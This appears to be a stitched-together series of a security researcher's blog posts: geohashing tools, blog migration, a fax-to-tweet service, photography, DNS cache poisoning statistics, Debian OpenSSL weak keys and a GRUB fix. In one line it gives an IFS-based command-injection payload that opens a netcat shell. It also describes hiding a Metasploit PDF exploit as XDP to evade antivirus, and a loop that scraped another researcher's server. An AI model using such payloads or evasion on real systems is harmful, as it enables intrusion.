The different online services are pretty nice but they did not have all the features I wanted to have. Also, I have grown quite fond of the ability to have an OpenStreetMap available offline (not necessarily because I am offline that much, but because it makes looking at the map so much faster). I use QLandkarte GT and the Openmtbmap.org map, as it shows cycling routes quite nicely.

QLandkarte GT supports loading GPX files, so the first thing I needed was something to produce GPX files for a given graticule (and date, or if no date is specified, for all upcoming ones). I wanted something similar to the Small Hash Inquiry Tool, as it shows you the hash points of the surrounding graticules as well. I took an evening to hack something together using Ruby, Sinatra and relet’s JSON web service. I decided to host it on Heroku, as it was easy and free. You can find out how to use it at http://geohashing-gpx.heroku.com. It should also work quite nicely with GPS devices with GPX support (or with gpsbabel, for that matter). The source is available at git://git.alech.de/geohashing_gpx.git, if you are curious.

But back from devices to the desktop, I wanted an easy way to view this in QLandkarte GT and keep it updated. Luckily, QLandkarte GT offers a sort of reload feature with the “-m” command line option. I’ve written a small wrapper which makes this available using a signal handler:

$ cat bin/qlandkartegt_reloadable.rb 
#!/usr/bin/env ruby

f = IO.popen("qlandkartegt -m0 #{ARGV.join(' ')}", 'w')

trap('USR1') do
	f.write 'A'
end
Process.wait

qlandkartegt_reloadable.rb ~/gps/geohash.gpx
wget http://geohashing-gpx.heroku.com/multi/1/49/8 -O ~/gps/geohash.gpx && pkill -USR1 -f qlandkartegt_reloadable.rb

The only things on my TODO list for this are timezones (it works using UTC at the moment, which is fine for me since I am pretty close to UTC, but may be annoying if you are not that close) and the possible addition of business holidays to figure out if tomorrow will have new DJIA opening value or not (if anyone has a good, free source, please let me know). I might work on this or I might not, chances are higher if someone bothers me to do so.

In looking for a way to still execute more than a parameterless binary (which of course would be a possible solution if I had had a way to put a custom binary on the system), I stumbled over the $IFS variable, which is the “Internal Field Seperator” with default value “<space><tab><newline>”. It also works fine as a separator for parameters, so you can inject something like:

nc${IFS}-l${IFS}-p1337${IFS}-e/bin/sh

I made an attempt to change from the standalone server (well, no surprise that it did not deal well with load there but that was fine for a long time for my little blog here) to a real modperl-based installation, but that did not help much.

As I am more confident with Ruby then Perl nowadays I started looking for something to change to. A static solution would of course be nice to have because of the speed factor, so after some searching and #followerpower, I stumbled over Octopress, which uses the Jekyll framework.

I converted all my Angerwhale posts to Octopress using a small Ruby script (ping me if you are interested). The comments from the old site are still missing, but I am considering converting them with Jekyll::StaticComments plugin.

The plan for now is to try to blog a bit more than before, maybe it should be on my list of new year’s resolutions (or maybe not as not to jinx it ;-).

Meet @cryptofax2tweet, a new Twitter account I run. So, what is so special about this account? As the name suggests, it can be used to tweet by sending an encrypted QR code using a fax, for example when your government decides to turn off the internet. In case you are not interested in the technical details on how it works and just want to use it, you can download the cryptofax.pdf file and open it in Adobe Reader. A one page user’s guide is also available.

So, how does this work? Recent PDF versions support the XML Forms Architecture (XFA), which I’ve been playing with lately. It includes all kind of funny things, such as its own language (because having both Javascript and Flash in Reader is not enough, apparently), FormCalc. It is apparently not more useful than Javascript except if you want to generate arbitrary HTTP requests.

But I am digressing. One of the more interesting features of XFA is the possibility to create all kinds of barcodes, both one- and two-dimensional. The list of different types you can create in the specification is about five pages long(!). Also, the specification claims that the content of the barcode can be encrypted before creating it using an RC4/RSA hybrid encryption.

I had recently read about Google’s @speak2tweet account and liked the idea but not the Medienbruch — the change from one medium (voice) to another (text). So I thought about implementing something using XFA which would allow people to send tweets via fax.

One obstacle on the way was finding out that Adobe does not want you to create dynamic 2D barcodes if you do not have the license for it. Unluckily, if you do not know this and modify the rawValue attribute of the barcode field after the form has rendered, you just get to see a grey block instead of the barcode and keep wondering whether Adobe just broke the functionality. Also, debugging Javascript code if you only have Adobe Reader is less funny than you think. Once I figured that out, I realised that you can ask for the dynamic information in the initialize event handler using app.response() and create the barcode at that point (not sure whether Adobe would consider this a bug or a feature).

After that was solved, I looked into encrypting the content of the tweet. Note that the encryption just helps against an attacker who only monitors the phone lines and not the @cryptofax2tweet account. Still, it might help people who have printed out the fax and it gets intercepted before it has been faxed. Unluckily, it looks like this particular functionality from the specification has not been implemented in Reader (the fact that the LiveCycle® Designer ES Scripting Reference does not talk about it at all points in this direction, too).

Luckily, there was no need to implement the cryptography myself, as there is already a pretty nice BSD-licensed RSA implementation for Javascript. A few patches later to fix some Reader-specific oddities, I was able to RSA-encrypt a tweet. As a tweet can only be 140 characters (thus at most 560 bytes in UTF-8), I just used a 4096 bit RSA key (not for security, just for convenience reasons :-). This would enable us to encode only at most 128 characters of four-byte UTF-8 characters (e.g. Klingon in the private use area). I accepted this trade-off and in the end it turned out that inputting four-byte UTF-8 characters using app.response() was impossible anyways.

The other end of the service needs to decode the QR code, decrypt the content and tweet it. This part was a lot easier than the PDF part, as it could be implemented in less than 50 lines using Ruby and the ZBar barcode library. A fax number was thankfully provided by AS250.net so that I only needed to deal with emails from the fax2mail gateway.

If you managed to read this far, you might be interested in the code, which is available in a Git repository (or see the Gitweb interface).

One thing I stumbled about in the book was that there is a format called XML Data Package (XDP) which can be used to represent a PDF as XML. So of course I downloaded the specification and went to play with it a bit.

Acrobat Reader opens XDP files just fine if they have an .xdp file extension or if they are sent by a webserver with the application/vnd.adobe.xdp+xml MIME type. It was an easy exercise to write a small script to convert a given PDF to an XDP file (basically it’s just an XML header, the Base64-encoded PDF and an XML footer).

I was wondering how Antivirus products would react to a malware PDF file in disguise as a XDP. Thus, I generated a PDF containing an exploit using Metasploit and uploaded it to VirusTotal. 13 out of 43 products classified the PDF as malware. Interestingly enough, 0/43 recognized the equivalent XDP file as malware (and neither did a few mail gateways I tested).

I’ve just submitted a feature request for Metasploit to add XDP support and added my pdf2xdp.rb script as a starting point. Let’s see where this is heading.

One feature that I like particularly is the extensibility by using Ruby code in so-called hooks. One quick hack I did tonight allows me to set the spellchecking language of my editor (vim) based on the language of the message I am replying to by using the whatlanguage gem. This code in ~/.sup/hooks/reply-from.rb replaces the spelllang parameter on the (default) vim commandline in the configuration:

require 'whatlanguage'



case message.quotable_body_lines.join("\n").language

when :german then

    $config[:editor].gsub!(/spelllang=[^']+'/, %q|spelllang=de_de'|)

else

    $config[:editor].gsub!(/spelllang=[^']+'/, %q|spelllang=en_us'|)

end



nil

Für die Strobisten unter Euch: So sah mein Hauptsetup aus (bis einer der Snowboarder in meinen Lightstand bretterte und es dabei meinen Mittenschuh nach Minolta-Adapter zerriss):

Interessant fand ich auch, dass da jede Menge Hobbyfotografen mit Strobistequipment oder sogar Studioblitzen herumsprangen, die wohl größtenteils zu den Teams gehörten.

Today I managed to pull out my freshly acquired Strobist gear and shoot something for today’s topic, »Yellow«.

Strobist info: seamless black background, HVL-F56AM on camera right, Nikon SB-26 camera left for rim light mainly, black paper in a DIY macro studio. Minolta 50/2.8 Macro & some Gimp.

I quickly set up my newly purchased Strobist gear and caught the following shot:

The uncropped version can be seen over at the CCC events blog, and for those who need it, here is the original version in its complete 12 MP glory. Everything is released under CC-BY, so I am happy if you use it, but please credit me accordingly (»Photo: Alexander Klink.«).

I was not quite happy with this version, but I learned the typical photographer’s problem: the subjects only have a limited amount of time. Once we (risktaker, POCsascha and myself) had set up a better version with two flashes and a softbox, they were already on their way to their talk … :-( — which was awesome, of course.

Luckily, local and not-so-local RFID hackers where present and willing to play with it — thanks to Collin and starbug. Here are some pictures of us spoofing a Mifare card with ID »DEADBEEF« :-)

Here is the device with two different readers:

This is how it looks on the client — you connect to the device via the serial port and tell it to be the tag with ID x, and you can see the communication between the reader and the tag:

And this is how it looks on the reader side — DEADBEEF received correctly :-)

Der erste war eine Wiederauflage meines EuSecWest Vortrags auf Deutsch — hierzu gibt es auch ein Video.

Der zweite handelte mal wieder von OpenXPKI und war für eine Veranstaltung dieser Größe mit ungefähr 15-20 Leuten ziemlich gut besucht. Besonders gefreut hat es mich, dass fast der komplette #openxpki-Channel anwesend war :-). Hier gibt’s die Slides:

So, as hiding it now is definitely too late, I guess the »no speculation rule« is off the table as well. Here are some random thoughts of mine:

This is huge. It is pretty easy to exploit, so I wonder how stable DNS will be within the next few days (at work, I use a T-Mobile hotspot which apparently messes transparently with my DNS traffic, so dnscache refuses to work, thus I am vulnerable even though I could help it by running a local dnscache — bummer).

Lutz Donnerhacke keeps saying on the Heise forums that this is not Dan’s original exploit (which he claims to know, and I believe him), so I wonder whether this is something completely new or whether it’s just a variant on Dan’s exploit. On the »this is it« side is the testing of $random.toorrr.com, which closely matches the exploit scenario. Also, Dan has been looking at random subdomains of domains in the web context, which apparently with some providers don’t return NXDOMAIN but a provider specific page (this has the “nice” implication that if it can be exploited, the cookies for $domain are in danger even though the website that is compromised is not made by the real owner of $domain).

I would guess that there are some more tricks to it, as Dan returns ::1 on AAAA queries with his (obviously custom) nameserver, so I doubt this is by accident but serves some kind of purpose. Also, all of the advisories mention the birthday paradox which has not come into play with this exploit (yet) - this is just iterative guessing, but there is no such thing as having multiple outstanding queries for the same RR or so. Furthermore, Thomas Ptacek set pretty high expectations on when he would be impressed, and apparently he was …

This exploit would be particularly easy/fast if you could generate the spoofed responses at the requesting client as well, anyone knows if this is remotely possible using Flash, Java, or some other browser-based client stuff?

Well, interesting times to be a security researcher …

… And I guess many of you have used the DNS checker on doxpara.com to see if your DNS is vulnerable (although, personally, I like the “dig +short porttest.dns-oarc.net TXT” method better). Well, so did I (and neither my home provider, my mobile provider nor $CUSTOMER have fixed their DNS yet) and of course using wasn’t enough, I had to look more closely at how it works …

Turns out it is doing a simple lookup on $randomstring.toorrr.com, which resolves to the webserver via a CNAME chain that encodes the interesting data from the queries that are sent out by the resolver. So what does Dan do with it then? He writes a file with the query details (requested hostname, date, source ports and query IDs) to /fprint/$randomstring on his webserver (which is automatically deleted after about two minutes or so), which the script then fetches using some AJAX-magic. Luckily for me, he forgot to turn of the directory listing on /fprint/, so not only the original requestor could download the result files, but me too.

Thus, for the last few days, I have been doing something along the lines of while true; do rm 209.200.168.66/fprint/index.html; wget -U “Hi Dan, just compiling some stats, hope you don’t mind … Alex” -r -nc -l inf http://209.200.168.66/fprint/; sleep 30; done and put the output into a database. 471690 queries later, Dan apparently noticed and put a »*laughs*« into /fprint/index.html.

From here, one can already see that the red line (fixed source ports, thus apparently vulnerable to what Dan’s been cooking up) is still more than 50% of the blue one - here are the percentages of red vs. blue:

But of course, it is not only interesting how many new vulnerable servers are discovered, but what happens to the old ones. The next two graphs show the number of vulnerable servers at the time (some of those may have been fixed, but not retested afterwards, so take the figures with a grain of salt) and how many have been fixed.

Let’s hope that the numbers change a bit before August 6th or I guess all hell will break loose …

I just completed my talk at EuSecWest, go download the slides, if you like.

On Thursday, we then checked all the CAs with exponent 65537 and key length 1024 or 2048 bits — luckily none of them was affected (all hell would have broken loose if one would have been) … We checked a few HTTPS webservers, and after the 70th invocation or so, we stumpled over an affected webserver at a major german financial institution. Luckily, the security scene is small, so my boss knew someone in the security team and called him up. The dialogue: »Are you sitting down? … Good. We know the private key to your webserver« led to some laughter on our side. Kudos to them, though, the problem was fixed about 2-3 hours later. I call that pretty quick for a production system (the new certificates were actually issued 15-30 minutes after we called).

One thing that has not been widely noted (expect for by my boss, who came up with this scenario) is that you also might want to consider your passwords compromised if they were transmitted in an SSH session where one participant had a weak OpenSSL installation. Why so, you ask? The SSH session starts with a Diffie-Hellmann key exchange. In short, the client calculates a random x and sends g^x to the server. The server in turn computes a random y and sends g^y to the client. Knowing x, the client can compute (g^y)^x = g^(y*x) = g^(x*y). The server knows y, so he can compute (g^x)^y = g^(x*y). This is now their shared secret which will be used to encrypt the further communication — including the transmission of the password, if you use password-based authentication.

Now assume someone has been listening in on this key exchange and that either the client or the server was running a vulnerable OpenSSL. Without loss of generality (hah, I didn’t think I’d use that mathematician phrase ever again), let’s assume it is the client. In this case, the pseudo random number generator is flawed and x is not truly random but only one of 16k possible values. If we know all of them (they are pretty trivial to generate, possibly much faster than the list of RSA keys), we can have a look at g^x for all x and see if the result matches the value sent by the client to the server. We then know x and are thus in the same position as the client and we are able to decrypt the complete session. This means that anything in that session (your login password for the SSH session, passwords for any other servers you might have logged into, database passwords you might have entered) is now in the hands of the attacker.

To make sure that we didn’t make a mistake in our theoretical thoughts on this, I have patched my OpenSSH to output x, linked it with a vulnerable OpenSSL library and started it with the Metasplot LD_PRELOAD library. And indeed, for a fixed MAGIC_PID environment variable, a fixed x is generated. This was not so easy to see in Wireshark, because apparently the server decides on the group and sends it to the client. The groups and the generator differ from time to time, so the messages that are sent are different, too. For an attacker, this does not matter though, he just needs to do some more calculations for the different parameters.

As I (currently) mainly want it for safely backing up my photos to two mirrored ZFS disks, I decided to install it using real hardware on two USB disks. After trying that, I got hit by the bad PBR sig bug.

Some googling revealed that this is somehow GRUB-related and can be solved by installing GRUB again. After some twiddling, here is how it worked out for me:

# after the installer completes, switch to screen 2 (Ctrl-a-n)
cd /.livecd/boot/grub
installgrub -m stage1 stage2 /dev/rdsk/c2t0d0s0

As usual, your mileage (and your device file for the right disk — have a look at the installer output for that) may vary. For me, it worked just fine and tomorrow, rsync (which was already installed using apt-get install rsync — that’s how I like my Solaris) will do its share to move the photos to two USB disks …